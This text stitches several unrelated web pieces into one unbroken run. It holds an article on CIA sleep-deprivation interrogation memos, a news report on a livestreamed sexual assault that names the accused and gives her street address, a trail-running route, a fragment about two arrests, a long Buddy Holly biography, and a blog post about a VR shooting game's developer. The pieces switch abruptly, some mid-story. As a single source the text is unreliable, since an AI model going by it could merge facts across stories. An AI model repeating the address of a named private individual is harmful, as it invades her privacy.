Despite the memo's approval of up to 180 hours of sleeplessness, only three detainees had been subjected to sleep deprivation for more than 96 hours. Many others would be allowed an irregular hour or two of rest here and there. The Senate report refers again and again to suspects given "four hours of sleep every 24 hours, not necessarily consecutive."
In conjunction with other pressures, that irregular sleep could have serious consequences. "In December 2002, two detainees were killed" while incarcerated at a facility in Bagram, Afghanistan," according to the Senate report. "Investigators concluded that the use of stress positions and sleep deprivation combined with other mistreatment at the hands of Bagram personnel, caused or were direct contributing factors in the two homicides."
The lawyers for Guantanamo Bay detainee Salim Hamdan claimed that their client spent 50 days during 2003 in a sleep-interruption program known as "Operation Sandman." "Sleep deprivation of that nature for 50 days would constitute torture," said one of Hamdan's lawyers, Joseph M. McMillan.
In another detainee’s case, a military lawyer claimed his client "was moved from cell to cell 112 times during a 14 day-period in 2004 to keep him in a state of sleepless disorientation," according to the New York Times. "A May report by the Justice Department inspector general said American military interrogators appeared to have collaborated with visiting Chinese officials at Guantánamo Bay to disrupt the sleep of Chinese Uighur detainees, waking them every 15 minutes the night before their interviews by the Chinese."
In the 2005 memo, the lawyers appear at one point to acknowledge the psychological dangers of denying someone rest. "It may be questioned whether sleep deprivation would be characterized as a 'procedure calculated to disrupt profoundly the senses or the personality'... we understand from OMS [CIA's Office of Medial Services] and from the scientific literature that extended sleep deprivation might result in hallucinations in some cases."
But, in the next breath, the attorneys brush such concerns aside. "Any hallucinatory effects of sleep
deprivation would dissipate rapidly," they write. "Even assuming, however, that the extended use of sleep deprivation may result in hallucinations that could fairly be characterized as a 'profound' disruption of the subject's senses, we do not believe it tenable to conclude that in such circumstances the use of sleep deprivation would be said to be 'calculated.'" The intent of the interrogation isn't to make the subject see things that aren't there, the memo argues. It's to make him talk.
__UPDATE: __David Hambling here. Sleep deprivation has been shown to have extreme effects in lab testing. One 1983 study on rats to find out the consequences of continued sleep deprivation pushed this to the limit: "stimulus presentations were timed to reduce sleep severely in experimental rats but not in controls. Experimental rats suffered severe pathology and death; control rats did not."
Researchers believe that the same effect will occur with humans. Legally speaking though, treatment which may end in the subject's dying may not necessarily count as torture.
Marina Alexeevna Lonina, 18, is accused of initiating the broadcast while her boyfriend, 29-year-old Raymond Boyd Gates, sexually assaulted the girl in February in Columbus, Ohio, according to Franklin County Prosecuting Attorney Ron O'Brien.
"The victim and the two defendants were socializing and at some point in the evening it is alleged that Gates forced sexual intercourse with the victim and Lonina started Periscoping (live-streaming in real time) the sexual assault," the prosecutor said. "Lonina had also photographed the victim in a state of nudity the night before at Lonina’s house located at 4146 Nafzger Drive in Columbus. A friend of Lonina’s in another state watched the Periscope live stream of the rape on the 27th and authorities were contacted."
The pair have been indicted for one count of kidnapping, two counts of rape, one count of sexual battery, and two counts of pandering involving a minor. Lonina was also indicted on two counts of "Illegal Use of Minor in Nudity Oriented Material or Performance," O'Brien said.
Lonina's attorney was not immediately available for comment, while Gates does not yet have counsel. They face 40 years in prison each, O'Brien said.
The Minute Man National Historical Park and Great Meadows Wildlife Refuge can be combined for a nice 14 mile run. The moderate route includes 10 miles of the Battle Road Trail in the Minute Man National Historical Park and 3 miles of The Dike Trail in Great Meadows. A one mile section cuts behind Ripley School, through St. Bernard’s Cemetery and along C. Courtney Land Management area, connecting the two trails. Just before the Battle Road Trail ends at HWY128/I95 cut off onto the Fiske Hill Loop Trail and you’ll be casually turned around without having to come to an abrupt stop.
Route Summary:
Distance – 14 Miles
Elevation – 308 Feet
Difficulty – Moderate
Condition – Excellent
Route Finding – Easy
Start/Finish:
Begin and end the route at any number of parking lots/trailheads along Minute Man National Historical Park or park at Great Meadows Wildlife Refuge. (Note: Great Meadows plans to charge a parking fee starting Spring 2015). Park at the Meriam House Parking Lot located at the corner of Old Bedford Road and Lexington Road and you’ll never be too far from your car.
Points of Interest:
On the Battle Road Trail you’ll pass many historical markers, such as the Meriam House, the Hartwell Tavern and the Paul Revere Capture Site. Climb the fire lookout in the Great Meadows Wildlife Sanctuary parking lot for a panoramic view of the wetlands.
Useful Links:
The two, Tejinder Singh and Vishnu Gupta, were arrested on Thursday morning and taken to police station.
There were reports that the two planned to surrender in the court. However, the police arrested them before that.
Charles Hardin Holley (September 7, 1936 – February 3, 1959), known as Buddy Holly, was an American musician, singer-songwriter and record producer who was a central and pioneering figure of mid-1950s rock and roll. He was born in Lubbock, Texas, to a musical family during the Great Depression, and learned to play guitar and sing alongside his siblings. His style was influenced by gospel music, country music, and rhythm and blues acts, and he performed in Lubbock with his friends from high school.
He made his first appearance on local television in 1952, and the following year he formed the group "Buddy and Bob" with his friend Bob Montgomery. In 1955, after opening for Elvis Presley, he decided to pursue a career in music. He opened for Presley three times that year; his band's style shifted from country and western to entirely rock and roll. In October that year, when he opened for Bill Haley & His Comets, he was spotted by Nashville scout Eddie Crandall, who helped him get a contract with Decca Records.
Holly's recording sessions at Decca were produced by Owen Bradley, who had become famous for producing orchestrated country hits for stars like Patsy Cline. Unhappy with Bradley's musical style and control in the studio, Holly went to producer Norman Petty in Clovis, New Mexico, and recorded a demo of "That'll Be the Day", among other songs. Petty became the band's manager and sent the demo to Brunswick Records, which released it as a single credited to "The Crickets", which became the name of Holly's band. In September 1957, as the band toured, "That'll Be the Day" topped the US and UK singles charts. Its success was followed in October by another major hit, "Peggy Sue".
The album Chirping Crickets, released in November 1957, reached number five on the UK Albums Chart. Holly made his second appearance on The Ed Sullivan Show in January 1958 and soon after, toured Australia and then the UK. In early 1959, he assembled a new band, consisting of future country music star Waylon Jennings (bass), famed session musician Tommy Allsup (guitar), and Carl Bunch (drums), and embarked on a tour of the midwestern U.S. After a show in Clear Lake, Iowa, he chartered an airplane to travel to his next show, in Fargo, North Dakota. Soon after takeoff, the plane crashed, killing Holly, Ritchie Valens, The Big Bopper, and pilot Roger Peterson in a tragedy later referred to by Don McLean as "The Day the Music Died".
During his short career, Holly wrote, recorded, and produced his own material. He is often regarded as the artist who defined the traditional rock-and-roll lineup of two guitars, bass, and drums. He was a major influence on later popular music artists, including Bob Dylan, The Beatles, The Rolling Stones, Eric Clapton, and Elton John. He was among the first artists inducted into the Rock and Roll Hall of Fame, in 1986. Rolling Stone magazine ranked him number 13 in its list of "100 Greatest Artists".
Life and career [ edit ]
Early life and career (1936–1955) [ edit ]
Holly was born Charles Hardin Holley on September 7, 1936, in Lubbock, Texas; he was the fourth child of Lawrence Odell "L.O." Holley (1901–1985) and Ella Pauline Drake (1902–1990). His elder siblings were Larry (born in 1925), Travis (1927–2016),[1] and Patricia Lou (1929–2008). Buddy Holly was of mostly English and Welsh descent but also had small amounts of Native American ancestry as well.[2] From early childhood, he was nicknamed "Buddy". During the Great Depression, the Holleys frequently moved residence within Lubbock; L.O. changed jobs several times. Buddy Holly was baptized a Baptist, and the family were members of the Tabernacle Baptist Church.
The Holleys had an interest in music; all the family members except L.O. were able to play an instrument or sing. The elder Holley brothers performed in local talent shows; on one occasion, Buddy joined them on violin. Since he could not play it, his brother Larry greased the strings so it would not make any sound. The brothers won the contest. During World War II, Larry and Travis were called to military service. Upon his return, Larry brought with him a guitar he had bought from a shipmate while serving in the Pacific. At age 11, Buddy took piano lessons but abandoned them after nine months. He switched to the guitar after he saw a classmate playing and singing on the school bus. Buddy's parents initially bought him a steel guitar, but he insisted that he wanted a guitar like his brother's. His parents bought the guitar from a pawnshop, and Travis taught him to play it.
During his early childhood, Holley was influenced by the music of Hank Williams, Jimmie Rodgers, Hank Snow, Bob Wills, and the Carter Family. At Roscoe Wilson Elementary, he became friends with Bob Montgomery, and the two played together, practicing with songs by the Louvin Brothers and Johnnie & Jack. They both listened to the radio programs Grand Ole Opry on WSM , Louisiana Hayride on KWKH, and Big D Jamboree. At the same time, Holley played with other musicians he met in high school, including Sonny Curtis and Jerry Allison. In 1952, Holley and Jack Neal participated as a duo billed as "Buddy and Jack" in a talent contest on a local television show. After Neal left, he was replaced by Montgomery and they were billed as "Buddy and Bob". The two soon started performing on the Sunday Party show on KDAV in 1953 and performed live gigs in Lubbock. At that time, Holley was influenced by late-night radio stations that played blues and rhythm and blues (R&B). Holley would sit in his car with Curtis and tune to distant radio stations that could only be received at night, when local transmissions ceased. Holley then modified his music by blending his earlier country and western (C&W) influence with R & B.
By 1955, after graduating from high school, Holley decided to pursue a full-time career in music. He was further encouraged after seeing Elvis Presley performing live in Lubbock, whose act was booked by Pappy Dave Stone of KDAV. In February, Holley opened for Presley at the Fair Park Coliseum, in April at the Cotton Club, and again in June at the Coliseum. By that time, he had incorporated into his band Larry Welborn on the stand-up bass and Allison on drums, as his style shifted from C&W to rock and roll due to seeing Presley's performances and hearing his music. In October, Stone booked Bill Haley & His Comets and placed Holley as the opening act to be seen by Nashville scout Eddie Crandall. Impressed, Crandall persuaded Grand Ole Opry manager Jim Denny to seek a recording contract for Holley. Stone sent a demo tape, which Denny forwarded to Paul Cohen, who signed the band to Decca Records in February 1956. In the contract, Decca misspelled Holley's last name as "Holly"; from then on, he was known as "Buddy Holly".
On January 26, 1956, Holly attended his first formal recording session, which was produced by Owen Bradley. He attended two more sessions in Nashville, but with the producer selecting the session musicians and arrangements, Holly became increasingly frustrated by his lack of creative control. In April 1956, Decca released "Blue Days, Black Nights" as a single, with "Love Me" on the B-side. Denny included Holly on a tour as the opening act for Faron Young. During the tour, they were promoted as "Buddy Holly and the Two Tones", while later Decca called them "Buddy Holly and the Three Tunes". The label later released Holly's second single "Modern Don Juan", backed with "You Are My One Desire". Neither single made an impression. On January 22, 1957, Decca informed Holly his contract would not be renewed, but insisted he could not record the same songs for anyone else for five years.
The Crickets (1956–1957) [ edit ]
Buddy Holly and the Crickets in 1957 (top to bottom: Allison, Holly and Mauldin)
Holly was unhappy with the results of his time with Decca; he was inspired by the success of Buddy Knox's "Party Doll" and Jimmy Bowen's "I'm Stickin' with You", and visited Norman Petty, who had produced and promoted both records. Together with Allison, bassist Joe B. Mauldin, and rhythm guitarist Niki Sullivan, he went to Petty's studio in Clovis, New Mexico. The group recorded a demo of "That'll Be the Day", a song they had previously recorded in Nashville. Now playing lead guitar, Holly achieved the sound he desired. Petty became his manager and sent the record to Brunswick Records in New York City. Holly, still under contract with Decca, could not release the record under his name, so a band name was used; Allison proposed the name "Crickets". Brunswick gave Holly a basic agreement to release "That'll Be the Day", leaving him with both artistic control and financial responsibility for future recordings.[15]
Impressed with the demo, the label's executives released it without recording a new version. "I'm Looking for Someone to Love" was the B-side; the single was credited to the Crickets. Petty and Holly later learned that Brunswick was a subsidiary of Decca, which legally cleared future recordings under the name Buddy Holly. Recordings credited to the Crickets would be released on Brunswick, while the recordings under Holly's name were released on another subsidiary label, Coral Records. Holly concurrently held a recording contract with both labels.
"That'll Be the Day" was released on May 27, 1957. Petty booked Holly and the Crickets for a tour with Irvin Feld, who had noticed the band after "That'll Be the Day" appeared on the R&B chart. He booked them for appearances in Washington, D.C., Baltimore, and New York City. The band was booked to play at New York's Apollo Theater on August 16–22. During the opening performances, the group did not impress the audience, but they were accepted after they included "Bo Diddley" in their shows. By the end of their run at the Apollo, "That'll Be the Day" was climbing the charts. Encouraged by the single's success, Petty started to prepare two album releases; a solo album for Holly and another for the Crickets. Holly appeared on American Bandstand, hosted by Dick Clark on ABC, on August 26. Before leaving New York, the band befriended the Everly Brothers.
"That'll Be the Day" topped the US "Best Sellers in Stores" chart on September 23 and was number one on the UK Singles Chart for three weeks in November. On September 20, Coral released "Peggy Sue", backed with "Everyday", with Holly credited as the performer. By October, "Peggy Sue" had reached number three on Billboard's pop chart and number two on the R&B chart; it peaked at number six on the UK Singles chart. As the success of the song grew, it brought more attention to Holly, with the band at the time being billed as "Buddy Holly and the Crickets".
In the last week of September, the band members flew to Lubbock to visit their families. Holly's high school girlfriend, Echo McGuire, had left him for a fellow student. Aside from McGuire, Holly had a relationship with Lubbock fan June Clark. After Clark ended their relationship, Holly realized the importance of his relationship with McGuire and considered his with Clark a temporary one. Meanwhile, for their return to recording, Petty arranged a session in Oklahoma City, where he was performing with his own band. While the band drove to the location, the producer set up a makeshift studio. The rest of the songs needed for an album and singles were recorded; Petty later dubbed the material in Clovis. The resulting album, The "Chirping" Crickets, was released on November 27, 1957. It reached number five on the UK Albums Chart. In October, Brunswick released the second single by the Crickets, "Oh, Boy!", with "Not Fade Away" on the B-side. The single reached number 10 on the pop chart and 13 on the R&B chart. Holly and the Crickets performed "That'll Be the Day" and "Peggy Sue" on The Ed Sullivan Show on December 1, 1957. Following the appearance, Niki Sullivan left the group because of the intensive touring. On December 29, Holly and the Crickets performed "Peggy Sue" on The Arthur Murray Party.
International tours and breakaway (1958) [ edit ]
On January 8, 1958, Holly and the Crickets joined America's Greatest Teenage Recording Stars tour. On January 25, Holly recorded "Rave On"; the next day, he made his second appearance on The Ed Sullivan Show, singing "Oh, Boy!" He departed to perform in Honolulu, Hawaii, on January 27, and then started a week-long tour of Australia. In March, the band toured the United Kingdom, playing 50 shows in 25 days.[28] The same month, his debut solo album, Buddy Holly, was released. Upon their return to the United States, Holly and the Crickets joined Alan Freed's Big Beat Show tour for 41 dates. In April, Decca released That'll Be the Day, featuring the songs recorded with Bradley during his early Nashville sessions.
A new recording session in Clovis was arranged in May; Holly hired Tommy Allsup to play lead guitar. The session produced the recordings of "It's So Easy" and "Heartbeat". Holly was impressed by Allsup and invited him to join the Crickets. In June, Holly traveled alone to New York for a solo recording session. Without the Crickets, he chose to be backed by a jazz and R&B band, recording "Now We're One" and Bobby Darin's "Early in the Morning".
During a visit to the offices of Peer-South, Holly met María Elena Santiago. He asked her out on their first meeting and proposed marriage to her on their first date. The wedding took place on August 15. Petty disapproved of the marriage and advised Holly to keep it secret to avoid upsetting Holly's female fans. Petty's reaction created friction with Holly, who had also started to question Petty's bookkeeping. The Crickets, frustrated because he controlled all of the proceeds from the band, were also in conflict with Petty.
Holly and Santiago frequented many of New York's music venues, including the Village Gate, Blue Note, Village Vanguard, and Johnny Johnson's. Santiago later said that Holly was keen to learn fingerstyle flamenco guitar and that he would often visit her aunt's home to play the piano there. Holly planned collaborations between soul singers and rock and roll. He wanted to make an album with Ray Charles and Mahalia Jackson. He also had ambitions to work in film and registered for acting classes with Lee Strasberg's Actors Studio.
Santiago accompanied Holly on tours. To hide her marriage to Holly, she was presented as the Crickets' secretary. She took care of the laundry and equipment set-up and collected the concert revenues. Santiago kept the money for the band instead of their habitual transfer to Petty in New Mexico. She and her aunt Provi Garcia, executive of the Latin American music department at Peer-Southern, convinced Holly that Petty was paying the band's royalties from Coral-Brunswick into his own company's account. Holly planned to retrieve his royalties from Petty and to later fire him as manager and producer. At the recommendation of the Everly Brothers, Holly hired lawyer Harold Orenstein to negotiate his royalties. The problems with Petty were triggered after he was unable to pay Holly. At the time, New York promoter Manny Greenfield reclaimed a large part of Holly's earnings; Greenfield had booked Holly for shows during previous tours. The two had a verbal agreement; Greenfield would obtain 5% of the booking earnings. Greenfield later felt he was also acting as Holly's manager and deserved a higher payment, which Holly refused. Greenfield then sued Holly. Under New York law, because Holly's royalties originated in New York and were directed out of the state, the payments were frozen until the dispute was settled. Petty then could not complete the transfers to Holly, who considered him responsible for the missing profit.
In September, Holly returned to Clovis for a new recording session, which yielded "Reminiscing" and "Come Back Baby". During the session, he ventured into producing by recording Lubbock DJ Waylon Jennings. Holly produced the single "Jole Blon" and "When Sin Stops (Love Begins)" for Jennings. Holly became increasingly interested in the New York music, recording, and publishing scene. Santiago and he settled in Apartment 4H of the Brevoort Apartments, at 11 Fifth Avenue in Greenwich Village, where he recorded a series of acoustic songs, including "Crying, Waiting, Hoping" and "What to Do". The inspiration to record the songs is sometimes attributed to the ending of his relationship with McGuire. In October, Holly recorded tracks for Coral; these were backed by saxophonist Boomie Richman and an 18-piece orchestra composed of former members of the NBC Symphony Orchestra. The three-and-a-half-hour session produced "It Doesn't Matter Anymore", "Raining in My Heart", "Moondreams" (written by Petty), and "True Love Ways".
Holly ended his association with Petty in December 1958. His band members kept Petty as their manager, and Holly also split from the Crickets. Petty was still holding the money from the royalties, forcing Holly to form a new band and return to touring.
Winter Dance Party tour and death (1959) [ edit ]
Signpost near the Clear Lake crash site
Holly vacationed with his wife in Lubbock and visited Jennings's radio station in December 1958. For the start of the Winter Dance Party tour, he assembled a band consisting of Waylon Jennings (electric bass), Tommy Allsup (guitar), and Carl Bunch (drums). Holly and Jennings left for New York City, arriving on January 15, 1959. Jennings stayed at Holly's apartment by Washington Square Park on the days prior to a meeting scheduled at the headquarters of the General Artists Corporation, which organized the tour. They then traveled by train to Chicago to join the rest of the band.
The Winter Dance Party tour began in Milwaukee, Wisconsin, on January 23, 1959. The amount of travel involved created logistical problems, as the distance between venues had not been considered when scheduling performances. Adding to the problem, the unheated tour buses twice broke down in freezing weather, with dire consequences. Holly's drummer Carl Bunch was hospitalized for frostbite to his toes (suffered while aboard the bus), so Holly decided to seek other transportation. Before their appearance in Clear Lake, Iowa, on February 2, Holly chartered a four-seat Beechcraft Bonanza airplane from Dwyer Flying Service in Mason City, Iowa, for Jennings, Allsup, and himself. Holly's idea was to depart following the show at the Surf Ballroom in Clear Lake and fly to their next venue, in Moorhead, Minnesota, via Fargo, North Dakota, allowing them time to rest and launder their clothes and avoid a rigorous bus journey. Immediately after the Clear Lake show (which ended just before midnight), Allsup agreed to flip a coin for the seat with Valens. Valens called heads; when he won, he reportedly said, "That's the first time I've ever won anything in my life," Allsup later opened a restaurant in Fort Worth, Texas called Heads Up.[46] Waylon Jennings voluntarily gave up his seat to J. P. Richardson (the Big Bopper), who had influenza and complained that the tour bus was too cold and uncomfortable for a man of his size.[47]
The pilot, Roger Peterson, took off in inclement weather, although he was not certified to fly by instruments only. Shortly after 12.55 am on February 3, 1959, Holly, Valens, Richardson, and Peterson were killed instantly when their plane crashed into a frozen cornfield five miles northwest of the Mason City, Iowa airport shortly after takeoff. The three musicians, who were ejected from the fuselage upon impact, had suffered gross brain trauma and massive chest injuries.
Holly's headstone in the City of Lubbock Cemetery
Holly's funeral was held on February 7, 1959, at the Tabernacle Baptist Church in Lubbock. The service was officiated by Ben D. Johnson, who had presided at the Holly's wedding just months earlier. The pallbearers were Jerry Allison, Joe B. Mauldin, Niki Sullivan, Bob Montgomery, and Sonny Curtis. Some sources say that Phil Everly, the one half of The Everly Brothers, was also the pallbearer, but he said at one time that he attended the funeral but was not a pallbearer. Waylon Jennings was unable to attend, because of his commitment to the still-touring Winter Dance Party. Holly's body was interred in the City of Lubbock Cemetery, in the eastern part of the city. His headstone carries the correct spelling of his surname (Holley) and a carving of his Fender Stratocaster guitar.
María Elena watched the first reports of Holly's death on television. The following day, she claimed, she suffered a miscarriage, although there is no independent source for this. Holly's mother, who heard the news on the radio in Lubbock, Texas, screamed and collapsed. Because of Elena's miscarriage, in the months following the accident, the authorities implemented a policy against announcing victims' names until after families are informed. Santiago did not attend the funeral and has never visited the grave site. She later told the Avalanche-Journal, "In a way, I blame myself. I was not feeling well when he left. I was two weeks pregnant, and I wanted Buddy to stay with me, but he had scheduled that tour. It was the only time I wasn't with him. And I blame myself because I know that, if only I had gone along, Buddy never would have gotten into that airplane."
Image and style [ edit ]
Holly's singing style was characterized by his vocal hiccups and his alternation between his regular voice and falsetto. His "stuttering vocals" were complemented by his percussive guitar playing, solos, stops, bent notes, and rhythm and blues chord progressions. He often strummed downstrokes that were accompanied by Allison's "driving" percussion.
Holly bought his first Fender Stratocaster, which became his signature guitar, at Harrod Music in Lubbock for US$249.50. Fender Stratocasters were popular with country musicians; Holly chose it for its loud sound. His "innovative" playing style was characterized by its blending of "chunky rhythm" and "high string lead work". He played his first Stratocaster, a 1954 model, until it was stolen during a tour stop in Michigan in 1957. To replace it, he purchased a 1957 model before a show in Detroit. Holly owned four or five Stratocasters during his career.
At the beginning of their music careers, Holly and his band wore business suits. When they met the Everly Brothers, Don Everly took the band to Phil's men's shop in New York City and introduced them to Ivy League clothes. The brothers advised Holly to replace his old-fashioned glasses with horn-rimmed glasses, which had been popularized by Steve Allen. Holly bought a pair of glasses made in Mexico from Lubbock optometrist Dr. J. Davis Armistead. Teenagers in the United States started to request this style of glasses, which were later popularly known as "Buddy Holly glasses".
When the plane crashed, the wreckage was strewn across many yards of snow-covered ground. While his other belongings were recovered immediately, there was no record of his signature glasses being found. They were presumed lost until, in March 1980, they were discovered in a Cerro Gordo County courthouse storage area by Sheriff Gerald Allen. They had been found in the spring of 1959, after the snow had melted, and had been given to the sheriff's office. They were placed in an envelope dated April 7, 1959, along with the Big Bopper's watch, a lighter, two pairs of dice and part of another watch, and misplaced when the county moved courthouses. The glasses, missing their lenses, were returned to Maria Elena a year later, after a legal contest over them with his parents. They are now on display at the Buddy Holly Center in Lubbock, Texas.[59][60]
Legacy [ edit ]
Buddy Holly left behind dozens of unfinished recordings: solo transcriptions of his new compositions; informal jam sessions with bandmates; or tapes demonstrating songs intended for other artists. The most recent recordings, made in Holly's apartment in late 1958, were his last six original songs. In June 1959, Coral Records overdubbed two of them with backing vocals by the Ray Charles Singers and studio musicians in an attempt to simulate the established Crickets sound. The finished tracks became the first posthumous Holly single, "Peggy Sue Got Married"/"Crying, Waiting, Hoping". The new release was successful enough to warrant an album drawing upon the other Holly demos, using the same studio personnel, in January 1960.[citation needed]
The demand for Holly records was so great, and Holly had recorded so prolifically, that his record label was able to release new Holly albums and singles for the next 10 years. Norman Petty produced most of these new editions, drawing upon unreleased studio masters, alternative takes, audition tapes, and even amateur recordings (some dating back to 1954 with low-fidelity vocals). The final "new" Buddy Holly album, "Giant", was released in 1969; the single chosen from the album was "Love Is Strange"[61].
Encyclopædia Britannica stated that Holly "produced some of the most distinctive and influential work in rock music". AllMusic defined him as "the single most influential creative force in early rock and roll". Rolling Stone ranked him number 13 on its list of "100 Greatest Artists". The Telegraph called him a "pioneer and a revolutionary [...] a multidimensional talent [...] (who) co-wrote and performed (songs that) remain as fresh and potent today".
The Rock and Roll Hall of Fame included Holly among its first class in 1986. On its entry, the Hall of Fame remarked upon the large quantity of material he produced during his short musical career, and said it "made a major and lasting impact on popular music". It called him an "innovator" for writing his own material, his experimentation with double tracking and the use of orchestration; he is also said to have "pioneered and popularized the now-standard" use of two guitars, bass, and drums by rock bands. The Songwriters Hall of Fame also inducted Holly in 1986, and said his contributions "changed the face of Rock 'n' Roll". Holly developed in collaboration with Petty techniques of overdubbing and reverberation, while he used innovative instrumentation later implemented by other artists. Holly became "one of the most influential pioneers of rock and roll" who had a "lasting influence" on genre performers of the 1960s.
In 1980, Grant Speed sculpted a statue of Holly playing his Fender guitar. This statue is the centerpiece of Lubbock's Walk of Fame, which honors notable people who contributed to Lubbock's musical history. Other memorials to Buddy Holly include a street named in his honor and the Buddy Holly Center, which contains a museum of Holly memorabilia and fine arts gallery. The Center is located on Crickets Avenue, one street east of Buddy Holly Avenue, in a building that previously housed the Fort Worth and Denver South Plains Railway Depot.
In 1997, the National Academy of Recording Arts and Sciences gave Holly the Lifetime Achievement Award. Holly was inducted into the Iowa Rock 'n' Roll Hall of Fame in 2000. In 2010, Grant Speed's statue was taken down for refurbishment and construction of a new Walk of Fame began. On May 9, 2011, the City of Lubbock held a ribbon-cutting ceremony for the Buddy and Maria Elena Holly Plaza, the new home of the statue and the Walk of Fame. The same year, a star bearing Holly's name was placed on the Hollywood Walk of Fame, commemorating his 75th birthday.
Groundbreaking was held on April 20, 2017, for the construction of a new performing arts center in Lubbock, the Buddy Holly Hall of Arts and Sciences, a downtown $153 million project expected to be completed in late 2019. Thus far, the private group, the Lubbock Entertainment and Performing Arts Association, has raised or received pledges in the amount of $93 million to underwrite the project. [72]
Influence [ edit ]
Teenagers John Lennon and Paul McCartney saw Holly for the first time when he appeared on Sunday Night at the London Palladium. The two had recently met and begun their musical association. They studied Holly's records, learned his performance style and lyricism, and based their act around his persona. Inspired by Holly's insect-themed Crickets, they chose to name their band "The Beatles". Lennon and McCartney later cited Holly as one of their main influences.
Lennon's band the Quarrymen covered "That'll Be the Day" in their first recording session, in 1958. During breaks in the Beatles' first appearance on The Ed Sullivan Show, on February 9, 1964, Lennon asked CBS coordinator Vic Calandra about Holly's performances; Calandra said Lennon and McCartney repeatedly expressed their appreciation of Holly. The Beatles recorded a close cover of Holly's version of "Words of Love", which was released on their 1964 album Beatles for Sale (in the U.S., in June 1965 on Beatles VI). During the January 1969 recording sessions for their album Let It Be, the Beatles played a slow, impromptu version of "Mailman, Bring Me No More Blues" – which Holly popularized but did not write – with Lennon mimicking Holly's vocal style. Lennon recorded a cover version of "Peggy Sue" on his 1975 album Rock 'n' Roll. McCartney owns the publishing rights to Holly's song catalogue.
Two nights before Holly's death, on January 31, 1959, 17-year-old Bob Dylan attended Holly's performance in Duluth. Dylan referred to this in his acceptance speech when he received the Grammy Award for Album of the Year for Time Out of Mind in 1998: " ... when I was sixteen or seventeen years old, I went to see Buddy Holly play at Duluth National Guard Armory and I was three feet away from him ... and he looked at me. And I just have some sort of feeling that he was ... with us all the time we were making this record in some kind of way".
Mick Jagger saw Holly performing live in Woolwich, London, during a tour of England; Jagger particularly remembered Holly's performance of "Not Fade Away" – a song that also inspired Keith Richards, who modeled his early guitar playing on the track. The Rolling Stones had a hit version of the song in 1964. Richards later said, "[Holly] passed it on via the Beatles and via [the Rolling Stones] ... He's in everybody".
Don McLean's popular 1971 ballad "American Pie" was inspired by Holly's death and the day of the plane crash. The song's lyric, which calls the incident "The Day the Music Died", became popularly associated with the crash. McLean's album American Pie is dedicated to Holly. In 2015, McLean wrote, "Buddy Holly would have the same stature musically whether he would have lived or died, because of his accomplishments ... By the time he was 22 years old, he had recorded some 50 tracks, most of which he had written himself ... in my view and the view of many others, a hit ... Buddy Holly and the Crickets were the template for all the rock bands that followed".
Elton John was musically influenced by Holly. At age 13, although he did not require them, John started wearing horn-rimmed glasses to imitate Holly. The Clash were also influenced by Holly, and referenced him in their song "Corner Soul" from the Sandinista! album. The Chirping Crickets was the first album Eric Clapton ever bought; he later saw Holly on Sunday Night at the London Palladium. In his autobiography, Clapton recounted the first time he saw Holly and his Fender, saying, "I thought I'd died and gone to heaven ... it was like seeing an instrument from outer space and I said to myself: 'That's the future – that's what I want'".
The launch of Bobby Vee's successful musical career resulted from Holly's death; Vee was selected to replace Holly on the tour that continued after the plane crash. Holly's profound influence on Vee's singing style can be heard in the songs "Rubber Ball" – the B-side of which was a cover of Holly's "Everyday" – and "Run to Him." The name of the British rock band the Hollies is often claimed as a tribute to Holly; according to the band, they admired Holly, but their name was mainly inspired by sprigs of holly in evidence around Christmas 1962. In an August 24, 1978, interview with Rolling Stone, Bruce Springsteen told Dave Marsh, "I play Buddy Holly every night before I go on; that keeps me honest". The Grateful Dead performed the song "Not Fade Away" in concerts.
In 2016, Richard Barone released his album Sorrows & Promises: Greenwich Village in the 1960s, paying tribute to the new wave of singer-songwriters in the Village during that pivotal, post-Holly era. The album opens with Barone's version of "Learning the Game", one of the final songs written and recorded by Holly at his home in Greenwich Village, a week before his death.[92]
Film and musical depictions [ edit ]
Holly's life story inspired a Hollywood biographical film, The Buddy Holly Story (1978); its lead actor Gary Busey received a nomination for the Academy Award for Best Actor for his portrayal of Holly. The film was widely criticized by the rock press, and by Holly's friends and family, for its inaccuracies.[93] This led Paul McCartney (whose MPL Communications by then controlled the publishing rights to Buddy Holly's song catalog) to produce and host his own documentary about Holly in 1985, titled The Real Buddy Holly Story. This video includes interviews with Keith Richards, Phil and Don Everly, Sonny Curtis, Jerry Allison, Holly's family, and McCartney, among others.
In 1987, musician Marshall Crenshaw portrayed Buddy Holly in the movie La Bamba, which depicts him performing at the Surf Ballroom and boarding the fatal airplane with Ritchie Valens and the Big Bopper. Crenshaw's version of "Crying, Waiting, Hoping" is featured on the La Bamba original motion picture soundtrack. Buddy – The Buddy Holly Story, a jukebox musical depicting Holly's life, is credited for being the first of its kind. It spawned the genre that later included Mamma Mia! and We Will Rock You. The musical opened in the late 1980s and its most recent UK tour occurred in February 2011.
Steve Buscemi appeared as Holly in a brief cameo as a 1950s-themed restaurant employee in Quentin Tarantino's 1994 film Pulp Fiction, in which he takes Mia Wallace and Vincent Vega's orders (portrayed respectively by Uma Thurman and John Travolta).
Holly was depicted in an episode of the science-fiction television program Quantum Leap titled "How the Tess Was Won"; Holly's identity is only revealed at the end of the episode. Dr. Sam Beckett (Scott Bakula) influences Buddy Holly to change his lyrics from "piggy, suey" to "Peggy Sue", setting up Holly's future hit song. Holly's follow up to that hit song is featured in the 1986 Francis Ford Coppola film Peggy Sue Got Married, in which a 43-year-old mother and housewife facing divorce played by Kathleen Turner is thrust back in time and given the chance to change the course of her life.
In 2006, country band, the Dixie Chicks mention Buddy Holly in their song Lubbock or Leave It. Lead singer, Natalie Maines, and Holly share a hometown, Lubbock, Texas.
Discography [ edit ]
The Crickets [ edit ]
Solo [ edit ]
References [ edit ]
Sources [ edit ]
Bad Times for VR
This was when I first got my VIVE, well over a year ago now. These were bad times. Games were scarce. As I recall we only had Jobsimulator and a couple more polished games. The industry was hesitant to invest in VR. And then I saw a game with guns. And not a game with worse than 8-bit graphics. On the contrary, a game with Really good models and praise be, real working mechanics.
As I am born and raised in The Netherlands, where we are tolerant of everything, EXCEPT guns, I never had the opportunity to shoot any gun on a firing range without 4 years of paperwork. But I spent some time in the military and on the police force a therefore now how to handle firearms and know how the operate.
So I decided to take the plunge. Buy in early. See where the developer would take this game. And I’m very glad I did.
Anton “Wonderfull” Hand
The developer I’m talking about is Anton Hand. In my opinion, if you look up Community engaged Developer in the dictionary, it should have his photo next to it. I simply love that guy. He even has his own catchphrase. Every time he starts a developer vlog he does a sound check followed by the word, “Wonderfull”
It even has gotten so far that he made a tippy toy with that exact catchphrase. Anton and his team are one of the biggest reasons that I love this game. They listen to the community, do regular updates, and give us GREAT content.
